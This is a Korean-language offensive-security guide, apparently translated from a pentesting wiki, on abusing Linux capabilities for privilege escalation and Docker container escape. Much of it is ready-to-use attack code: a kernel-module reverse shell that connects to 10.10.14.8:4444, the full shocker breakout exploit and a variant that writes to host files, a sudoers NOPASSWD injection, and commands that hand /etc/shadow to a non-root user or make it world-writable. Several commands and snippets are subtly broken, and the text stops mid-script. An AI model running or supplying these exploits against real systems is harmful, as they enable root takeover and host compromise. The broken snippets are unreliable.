**CAP_SYS_MODULE**는 프로섞슀가 컀널 몚듈을 로드하고 얞로드할 수 있도록 (init_module(2), finit_module(2) 및 delete_module(2) 시슀템 혞출) 하여 컀널의 핵심 작업에 직접 접귌할 수 있게 합니닀. 읎 Ʞ능은 컀널을 수정할 수 있게 하여 몚든 Linux 볎안 메컀니슘, Linux Security Modules 및 컚테읎너 격늬륌 우회할 수 있윌므로 쀑요한 볎안 위험을 쎈래합니닀.
읎는 혞슀튞 뚞신의 컀널에 컀널 몚듈을 삜입/제거할 수 있음을 의믞합니닀.

Example with binary

닀음 예제에서 읎 바읎너늬 **python**은 읎 Ʞ능을 가지고 있습니닀.

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_module+ep

Ʞ볞적윌로, modprobe 명령은 디렉토늬 **/lib/modules/$(uname -r)**에서 의졎성 목록곌 맵 파음을 확읞합니닀.
읎륌 악용하Ʞ 위핎 가짜 lib/modules 폎더륌 생성핎 뎅시닀:

mkdir lib/modules -p
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)

귞런 닀음 아래 두 가지 예제륌 찟을 수 있는 컀널 몚듈을 컎파음하고 읎 폎더에 복사하십시였:

cp reverse-shell.ko lib/modules/$(uname -r)/

마지막윌로, 읎 컀널 몚듈을 로드하Ʞ 위핎 필요한 파읎썬 윔드륌 싀행합니닀:

import kmod
km = kmod.Kmod()
km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/")
km.modprobe("reverse-shell")

Example 2 with binary

닀음 예제에서 읎 바읎너늬 **kmod**는 읎 권한을 가지고 있습니닀.

getcap -r / 2>/dev/null
/bin/kmod = cap_sys_module+ep

ì–Žë–€ 의믞에서든 insmod 명령얎륌 사용하여 컀널 몚듈을 삜입할 수 있습니닀. 아래 예제륌 따띌 읎 권한을 악용하여 reverse shell을 얻윌섞요.

환겜 예제 (Docker 탈출)

docker 컚테읎너 낎에서 활성화된 능력을 확읞하렀멎 닀음을 사용하섞요:

capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

Inside the previous output you can see that the SYS_MODULE capability is enabled.

컀널 몚듈을 생성하여 늬버슀 셞을 싀행하고, 읎륌 컎파음하Ʞ 위한 Makefile을 작성합니닀:

{% code title="reverse-shell.c" %}

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

{% endcode %}

{% code title="Makefile" %}

obj-m +=reverse-shell.o

all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

{% endcode %}

{% hint style="warning" %} Makefile의 각 make ë‹šì–Ž 앞의 공백 묞자는 공백읎 아닌 탭읎얎알 합니닀! {% endhint %}

make륌 싀행하여 컎파음합니닀.

ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory.  Stop.

sudo apt update
sudo apt full-upgrade

마지막윌로, ì…ž 안에서 nc륌 시작하고 닀륞 셞에서 몚듈을 로드하멎 nc 프로섞슀에서 셞을 캡처할 수 있습니닀:

#Shell 1
nc -lvnp 4444

#Shell 2
insmod reverse-shell.ko #Launch the reverse shell

읎 Ʞ술의 윔드는 https://www.pentesteracademy.com/ 의 "SYS_MODULE Capability ë‚šìš©" 싀험싀에서 복사되었습니닀.

읎 Ʞ술의 또 닀륞 예는 https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host에서 찟을 수 있습니닀.

CAP_DAC_READ_SEARCH는 프로섞슀가 파음 읜Ʞ 및 디렉토늬 읜Ʞ/싀행에 대한 권한을 우회할 수 있도록 합니닀. 죌된 용도는 파음 검색 또는 읜Ʞ 목적입니닀. 귞러나 읎 Ʞ능은 프로섞슀의 마욎튞 넀임슀페읎슀 왞부의 파음을 포핚하여 몚든 파음에 접귌할 수 있는 open_by_handle_at(2) 핚수륌 사용할 수 있게 합니닀. open_by_handle_at(2)에서 사용되는 핞듀은 name_to_handle_at(2)륌 통핎 얻은 비투명 식별자여알 하지만, 조작에 췚앜한 inode 번혞와 같은 믌감한 정볎륌 포핚할 수 있습니닀. 읎 Ʞ능의 악용 가능성은 특히 Docker 컚테읎너의 맥띜에서 Sebastian Krahmer에 의핎 shocker exploit로 입슝되었습니닀. 여Ʞ서 분석됚. 읎는 파음 읜Ʞ 권한 검사 및 디렉토늬 읜Ʞ/싀행 권한 검사륌 우회할 수 있음을 의믞합니닀.

바읎너늬 예시

바읎너늬는 몚든 파음을 읜을 수 있습니닀. 따띌서 tar와 같은 파음읎 읎 권한을 가지고 있닀멎, shadow 파음을 읜을 수 있습니닀:

cd /etc
tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp
cd /tmp
tar -cxf shadow.tar.gz

Example with binary2

읎 겜우 python 바읎너늬가 읎 권한을 가지고 있닀고 가정핎 볎겠습니닀. 룚튞 파음을 나엎하렀멎 닀음곌 같읎 할 수 있습니닀:

import os
for r, d, f in os.walk('/root'):
for filename in f:
print(filename)

파음을 읜Ʞ 위핎서는 닀음곌 같읎 할 수 있습니닀:

print(open("/etc/shadow", "r").read())

환겜 예시 (Docker 탈출)

docker 컚테읎너 낎에서 활성화된 능력을 확읞하렀멎 닀음을 사용하섞요:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

Inside the previous output you can see that the DAC_READ_SEARCH capability is enabled. As a result, the container can debug processes.

You can learn how the following exploiting works in https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3 but in resume CAP_DAC_READ_SEARCH는 권한 확읞 없읎 파음 시슀템을 탐색할 수 있을 뿐만 아니띌, _open_by_handle_at(2)_에 대한 몚든 검사륌 명시적윌로 제거하고 닀륞 프로섞슀에 의핎 엎늰 믌감한 파음에 접귌할 수 있도록 할 수 있습니닀.

The original exploit that abuse this permissions to read files from the host can be found here: http://stealth.openwall.net/xSports/shocker.c, the following is a modified version that allows you to indicate the file you want to read as first argument and dump it in a file.

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker.c -o shocker
// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir

struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};

void die(const char *msg)
{
perror(msg);
exit(errno);
}

void dump_handle(const struct my_file_handle *h)
{
fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
h->handle_type);
for (int i = 0; i < h->handle_bytes; ++i) {
fprintf(stderr,"0x%02x", h->f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr,"\n");
if (i < h->handle_bytes - 1)
fprintf(stderr,", ");
}
fprintf(stderr,"};\n");
}

int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle
*oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR *dir = NULL;
struct dirent *de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
oh->handle_type = 1;
oh->handle_bytes = 8;
return 1;
}

++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de->d_name);
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
ino = de->d_ino;
break;
}
}

fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, &ino, sizeof(ino));
memcpy(outh.f_handle + 4, &i, sizeof(i));
if ((i % (1<<20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle(&outh);
return find_handle(bfd, path, &outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}


int main(int argc,char* argv[] )
{
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};

fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");

read(0, buf, 1);

// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");

if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");

fprintf(stderr, "[!] Got a final handle!\n");
dump_handle(&h);

if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("[-] open_by_handle");

memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("[-] read");

printf("Success!!\n");

FILE *fptr;
fptr = fopen(argv[2], "w");
fprintf(fptr,"%s", buf);
fclose(fptr);

close(fd2); close(fd1);

return 0;
}

{% hint style="warning" %} 읎 익슀플로잇은 혞슀튞에 마욎튞된 묎얞가에 대한 포읞터륌 ì°Ÿì•„ì•Œ 합니닀. 원래 익슀플로잇은 파음 /.dockerinit을 사용했윌며, 읎 수정된 버전은 /etc/hostname을 사용합니닀. 익슀플로잇읎 작동하지 않는닀멎 닀륞 파음을 섀정핎알 할 수도 있습니닀. 혞슀튞에 마욎튞된 파음을 찟윌렀멎 mount 명령을 싀행하섞요: {% endhint %}

읎 Ʞ술의 윔드는 https://www.pentesteracademy.com/ 의 "Abusing DAC_READ_SEARCH Capability" 싀험싀에서 복사되었습니닀.

​

​​​​​​​​​​​RootedCON 은 슀페읞에서 가장 ꎀ렚성읎 높은 사읎버 볎안 읎벀튞읎며, 유럜에서 가장 쀑요한 행사 쀑 하나입니닀. Ʞ술 지식을 쎉진하는 믞션을 가지고 있는 읎 컚귞레슀는 몚든 분알의 Ʞ술 및 사읎버 볎안 전묞가듀읎 몚읎는 뜚거욎 만낚의 장소입니닀.

{% embed url="https://www.rootedcon.com/" %}

CAP_DAC_OVERRIDE

읎는 몚든 파음에 대한 ì“°êž° 권한 검사륌 우회할 수 있음을 의믞하므로, ì–Žë–€ 파음읎든 ì“ž 수 있습니닀.

특권 상승을 위핎 덮얎쓞 수 있는 파음읎 많읎 있습니닀. 여Ʞ에서 아읎디얎륌 얻을 수 있습니닀.

바읎너늬 예제

읎 예제에서 vim은 읎 능력을 가지고 있윌므로 passwd, sudoers 또는 _shadow_와 같은 파음을 수정할 수 있습니닀:

getcap -r / 2>/dev/null
/usr/bin/vim = cap_dac_override+ep

vim /etc/sudoers #To overwrite it

Example with binary 2

읎 예제에서 python 바읎너늬는 읎 권한을 가질 것입니닀. 당신은 python을 사용하여 ì–Žë–€ 파음읎든 덮얎쓞 수 있습니닀:

file=open("/etc/sudoers","a")
file.write("yourusername ALL=(ALL) NOPASSWD:ALL")
file.close()

환겜 + CAP_DAC_READ_SEARCH (Docker 탈출) 예제

Docker 컚테읎너 낎에서 활성화된 권한을 확읞하렀멎 닀음을 사용하섞요:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

뚌저 혞슀튞의 DAC_READ_SEARCH Ʞ능을 악용하여 임의의 파음을 읜는 방법 섹션을 읜고 익슀플로잇을 컎파음하섞요.
귞런 닀음, 혞슀튞 파음 시슀템 낎에서 임의의 파음을 ì“ž 수 있는 닀음 버전의 쇌컀 익슀플로잇을 컎파음하섞요:

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker_write.c -o shocker_write
// ./shocker_write /etc/passwd passwd

struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char * msg) {
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
h -> handle_type);
for (int i = 0; i < h -> handle_bytes; ++i) {
fprintf(stderr, "0x%02x", h -> f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr, "\n");
if (i < h -> handle_bytes - 1)
fprintf(stderr, ", ");
}
fprintf(stderr, "};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR * dir = NULL;
struct dirent * de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
oh -> handle_type = 1;
oh -> handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de -> d_name);
if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
ino = de -> d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, & ino, sizeof(ino));
memcpy(outh.f_handle + 4, & i, sizeof(i));
if ((i % (1 << 20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle( & outh);
return find_handle(bfd, path, & outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc, char * argv[]) {
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {
0x02,
0,
0,
0,
0,
0,
0,
0
}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle( & h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
die("[-] open_by_handle");
char * line = NULL;
size_t len = 0;
FILE * fptr;
ssize_t read;
fptr = fopen(argv[2], "r");
while ((read = getline( & line, & len, fptr)) != -1) {
write(fd2, line, read);
}
printf("Success!!\n");
close(fd2);
close(fd1);
return 0;
}

In order to scape the docker container you could download the files /etc/shadow and /etc/passwd from the host, add to them a new user, and use shocker_write to overwrite them. Then, access via ssh.

읎 Ʞ술의 윔드는 https://www.pentesteracademy.com 의 "DAC_OVERRIDE Capability 악용" 싀험싀에서 복사되었습니닀.

CAP_CHOWN

읎는 몚든 파음의 소유권을 변겜할 수 있음을 의믞합니닀.

바읎너늬 예시

python 바읎너늬가 읎 권한을 가지고 있닀고 가정핎 볎겠습니닀. 귞러멎 shadow 파음의 소유자륌 변겜하고, 룚튞 비밀번혞륌 변겜하며, 권한을 상승시킬 수 있습니닀:

python -c 'import os;os.chown("/etc/shadow",1000,1000)'

또는 ruby 바읎너늬가 읎 능력을 가지고 있는 겜우:

ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")'

CAP_FOWNER

읎는 몚든 파음의 권한을 변겜할 수 있음을 의믞합니닀.

바읎너늬 예시

python읎 읎 능력을 가지고 있닀멎, shadow 파음의 권한을 수정하고, 룚튞 비밀번혞륌 변겜하며, 권한을 상승시킬 수 있습니닀:

python -c 'import os;os.chmod("/etc/shadow",0666)

CAP_SETUID

읎것은 생성된 프로섞슀의 유횚 사용자 ID륌 섀정할 수 있음을 의믞합니닀.

바읎너늬 예시

만앜 python읎 읎 capability륌 가지고 있닀멎, 읎륌 읎용핎 룚튞 권한윌로 권한 상승을 맀우 쉜게 할 수 있습니닀:

import os
os.setuid(0)
os.system("/bin/bash")

또 닀륞 방법:

import os
import prctl
#add the capability to the effective set
prctl.cap_effective.setuid = True
os.setuid(0)
os.system("/bin/bash")

CAP_SETGID

읎는 생성된 프로섞슀의 유횚 귞룹 ID륌 섀정할 수 있음을 의믞합니닀.

특권을 상승시킀Ʞ 위핎 덮얎쓞 수 있는 파음읎 많읎 있습니닀, 여Ʞ에서 아읎디얎륌 얻을 수 있습니닀.

바읎너늬 예제

읎 겜우, 귞룹읎 읜을 수 있는 흥믞로욎 파음을 ì°Ÿì•„ì•Œ 합니닀. 왜냐하멎 ì–Žë–€ 귞룹윌로도 가장할 수 있Ʞ 때묞입니닀:

#Find every file writable by a group
find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file writable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file readable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null

한 번 권한 상승을 위핎 악용할 수 있는 파음을 찟윌멎 (읜Ʞ 또는 쓰Ʞ륌 통핎) 흥믞로욎 귞룹을 가장하여 셞을 얻을 수 있습니닀:

import os
os.setgid(42)
os.system("/bin/bash")

읎 겜우 귞룹 shadow가 가장핎졌윌므로 /etc/shadow 파음을 읜을 수 있습니닀:

cat /etc/shadow

If docker가 섀치되얎 있윌멎 docker group을 가장하고 읎륌 악용하여 docker socket와 통신하고 권한을 상승시킬 수 있습니닀.

CAP_SETFCAP

읎는 파음곌 프로섞슀에 대한 권한을 섀정할 수 있음을 의믞합니닀.

바읎너늬 예시

python읎 읎 권한을 가지고 있닀멎, 읎륌 악용하여 룚튞 권한윌로 상승시킀는 것읎 맀우 쉜습니닀:

{% code title="setcapability.py" %}

import ctypes, sys

#Load needed library
#You can find which library you need to load checking the libraries of local setcap binary
# ldd /sbin/setcap
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")

libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]

#Give setuid cap to the binary
cap = 'cap_setuid+ep'
path = sys.argv[1]
print(path)
cap_t = libcap.cap_from_text(cap)
status = libcap.cap_set_file(path,cap_t)

if(status == 0):
print (cap + " was successfully added to " + path)

{% endcode %}

python setcapability.py /usr/bin/python2.7

{% hint style="warning" %} 새로욎 능력을 바읎너늬에 CAP_SETFCAP윌로 섀정하멎 읎 능력을 잃게 됩니닀. {% endhint %}

SETUID capability륌 얻윌멎 SETUID capability 섹션윌로 가서 권한 상승 방법을 확읞할 수 있습니닀.

환겜 예시 (Docker 탈출)

Ʞ볞적윌로 CAP_SETFCAP 능력은 Docker의 컚테읎너 낮 프로섞슀에 부여됩니닀. 닀음곌 같은 방법윌로 확읞할 수 있습니닀:

cat /proc/`pidof bash`/status | grep Cap
CapInh: 00000000a80425fb
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000

capsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap

읎 Ʞ능은 읎진 파음에 닀륞 몚든 Ʞ능을 부여할 수 있게 핎쀍니닀, 따띌서 우늬는 읎 페읎지에 얞꞉된 닀륞 Ʞ능 탈출을 악용하여 컚테읎너에서 탈출하는 것을 생각할 수 있습니닀.
귞러나 예륌 듀얎 gdb 읎진 파음에 CAP_SYS_ADMIN 및 CAP_SYS_PTRACE Ʞ능을 부여하렀고 하멎, 읎륌 부여할 수는 있지만 읎진 파음은 읎후에 싀행할 수 없닀는 것을 알게 될 것입니닀:

getcap /usr/bin/gdb
/usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip

setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb

/usr/bin/gdb
bash: /usr/bin/gdb: Operation not permitted

From the docs: Permitted: This is a limiting superset for the effective capabilities that the thread may assume. It is also a limiting superset for the capabilities that may be added to the inheri‐table set by a thread that does not have the CAP_SETPCAP capability in its effective set.
Permitted capabilities는 사용할 수 있는 것듀을 제한하는 것처럌 볎입니닀.
귞러나 Docker는 Ʞ볞적윌로 CAP_SETPCAP륌 부여하므로, 상속 가능한 것듀 안에서 새로욎 능력을 섀정할 수 있을지도 몚늅니닀.
귞러나 읎 능력의 묞서에서는: CAP_SETPCAP : [
] 혞출 슀레드의 겜계 집합에서 상속 가능한 집합에 ì–Žë–€ 능력도 추가합니닀.
우늬는 겜계 집합에서 상속 가능한 집합윌로만 추가할 수 있는 것처럌 볎입니닀. 읎는 CAP_SYS_ADMIN 또는 CAP_SYS_PTRACE와 같은 새로욎 능력을 상속 집합에 넣얎 권한을 상승시킬 수 없음을 의믞합니닀.

CAP_SYS_RAWIO

CAP_SYS_RAWIO는 /dev/mem, /dev/kmem 또는 /proc/kcore에 대한 ì ‘ê·Œ, mmap_min_addr 수정, ioperm(2) 및 iopl(2) 시슀템 혞출 ì ‘ê·Œ, 닀양한 디슀크 명령을 포핚한 여러 믌감한 작업을 제공합니닀. FIBMAP ioctl(2)도 읎 능력을 통핎 활성화되며, 읎는 곌거에 묞제륌 음윌킚 바 있습니닀. 맀뉎얌 페읎지에 따륎멎, 읎는 볎유자가 닀륞 장치에서 장치별 작업을 섀명적윌로 수행할 수 있도록 합니닀.

읎는 권한 상승 및 Docker 탈출에 유용할 수 있습니닀.

CAP_KILL

읎는 몚든 프로섞슀륌 종료할 수 있음을 의믞합니닀.

바읎너늬 예시

python 바읎너늬가 읎 능력을 가지고 있닀고 가정핎 뎅시닀. 만앜 ì–Žë–€ 서비슀나 소쌓 구성 (또는 서비슀와 ꎀ렚된 구성 파음) 파음을 수정할 수 있닀멎, 읎륌 백도얎로 만듀고, ê·ž 서비슀와 ꎀ렚된 프로섞슀륌 종료한 후 새로욎 구성 파음읎 당신의 백도얎로 싀행되Ʞ륌 Ʞ닀늎 수 있습니닀.

#Use this python code to kill arbitrary processes
import os
import signal
pgid = os.getpgid(341)
os.killpg(pgid, signal.SIGKILL)

Privesc with kill

kill 권한읎 있고 root로 싀행 쀑읞 node 프로귞랚(또는 닀륞 사용자로 싀행 쀑읞 겜우)읎 있닀멎, 아마도 SIGUSR1 신혞륌 볎낎서 node 디버거륌 엎게 할 수 있윌며, 귞곳에 연결할 수 있습니닀.

kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d

{% content-ref url="electron-cef-chromium-debugger-abuse.md" %} electron-cef-chromium-debugger-abuse.md {% endcontent-ref %}

​

​​​​​​​​​​​​RootedCON은 슀페읞에서 가장 ꎀ렚성읎 높은 사읎버 볎안 읎벀튞읎며 유럜에서 가장 쀑요한 행사 쀑 하나입니닀. Ʞ술 지식을 쎉진하는 임묎륌 가지고 있는 읎 회의는 몚든 분알의 Ʞ술 및 사읎버 볎안 전묞가듀읎 몚읎는 뜚거욎 만낚의 장소입니닀.

{% embed url="https://www.rootedcon.com/" %}

CAP_NET_BIND_SERVICE

읎는 몚든 포튞(특권 포튞 포핚)에서 수신 대Ʞ할 수 있음을 의믞합니닀. 읎 Ʞ능윌로 직접적윌로 권한을 상승시킬 수는 없습니닀.

바읎너늬 예시

만앜 **python**읎 읎 Ʞ능을 가지고 있닀멎, 몚든 포튞에서 수신 대Ʞ할 수 있윌며, ê·ž 포튞에서 닀륞 포튞로 연결할 수 있습니닀(음부 서비슀는 특정 권한 포튞에서의 연결을 요구합니닀).

{% tabs %} {% tab title="Listen" %}

import socket
s=socket.socket()
s.bind(('0.0.0.0', 80))
s.listen(1)
conn, addr = s.accept()
while True:
output = connection.recv(1024).strip();
print(output)

{% endtab %}

{% tab title="연결" %}

import socket
s=socket.socket()
s.bind(('0.0.0.0',500))
s.connect(('10.10.10.10',500))

{% endtab %} {% endtabs %}

CAP_NET_RAW

CAP_NET_RAW 권한은 프로섞슀가 RAW 및 PACKET 소쌓을 생성할 수 있도록 허용하여 임의의 넀튞워크 팚킷을 생성하고 전송할 수 있게 합니닀. 읎는 팚킷 슀푞핑, 튞래픜 죌입 및 넀튞워크 ì ‘ê·Œ 제얎 우회륌 포핚한 볎안 위험을 쎈래할 수 있습니닀. 악의적읞 행위자는 읎륌 읎용핎 컚테읎너 띌우팅에 간섭하거나 혞슀튞 넀튞워크 볎안을 손상시킬 수 있윌며, 특히 적절한 방화벜 볎혞가 없을 겜우 더욱 귞렇습니닀. 또한, CAP_NET_RAW는 RAW ICMP 요청을 통한 ping곌 같은 작업을 지원하Ʞ 위핎 권한읎 있는 컚테읎너에 필수적입니닀.

읎는 튞래픜을 슀니핑할 수 있음을 의믞합니닀. 읎 권한윌로 직접적윌로 권한을 상승시킬 수는 없습니닀.

바읎너늬 예시

바읎너늬 **tcpdump**가 읎 권한을 가지고 있닀멎, 읎륌 사용하여 넀튞워크 정볎륌 캡처할 수 있습니닀.

getcap -r / 2>/dev/null
/usr/sbin/tcpdump = cap_net_raw+ep

환겜읎 읎 Ʞ능을 제공하는 겜우 **tcpdump**륌 사용하여 튞래픜을 슀니핑할 수도 있습니닀.

읎진 파음 2의 예

닀음 예는 "lo" (localhost) 읞터페읎슀의 튞래픜을 가로채는 데 유용할 수 있는 python2 윔드입니닀. 읎 윔드는 https://attackdefense.pentesteracademy.com/에서 "Ʞ쎈: CAP-NET_BIND + NET_RAW" 싀험싀의 것입니닀.

import socket
import struct

flags=["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"]

def getFlag(flag_value):
flag=""
for i in xrange(8,-1,-1):
if( flag_value & 1 <<i ):
flag= flag + flags[8-i] + ","
return flag[:-1]

s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30)
